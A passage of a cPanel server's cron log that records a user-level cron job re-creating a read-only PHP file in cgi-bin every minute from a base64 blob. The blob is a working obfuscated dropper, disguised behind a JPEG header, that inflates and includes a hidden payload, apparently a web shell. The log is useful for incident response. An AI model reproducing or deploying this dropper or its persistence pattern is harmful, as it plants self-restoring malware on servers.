chmod 444 "$fp")
Aug 30 16:16:01 server CROND[21306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:17:01 server CROND[21674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:17:01 server CROND[21675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:17:01 server CROND[21676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:18:01 server CROND[22083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:18:01 server CROND[22084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:18:01 server CROND[22085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:19:01 server CROND[22564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:19:01 server CROND[22565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:19:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:20:01 server CROND[23216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:20:01 server CROND[23218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:20:01 server CROND[23221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:20:01 server CROND[23222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:20:01 server CROND[23223]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:20:01 server CROND[23225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:20:01 server CROND[23226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:20:01 server CROND[23228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:20:01 server CROND[23224]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:21:01 server CROND[24062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:21:01 server CROND[24063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:21:01 server CROND[24064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:22:01 server CROND[24433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:22:01 server CROND[24432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:22:01 server CROND[24434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:23:01 server CROND[24795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:23:01 server CROND[24796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:23:01 server CROND[24797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:24:01 server CROND[25166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:24:01 server CROND[25167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:24:01 server CROND[25168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:25:01 server CROND[25647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:25:01 server CROND[25649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:25:01 server CROND[25651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:25:01 server CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:25:01 server CROND[25650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:25:01 server CROND[25653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:25:01 server CROND[25656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:25:01 server CROND[25654]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 16:26:01 server CROND[26489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:26:01 server CROND[26490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:26:01 server CROND[26491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:27:01 server CROND[26870]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 16:27:01 server CROND[26871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:27:01 server CROND[26869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:27:01 server CROND[26872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:28:01 server CROND[27373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:28:01 server CROND[27374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:28:01 server CROND[27375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:29:01 server CROND[27750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
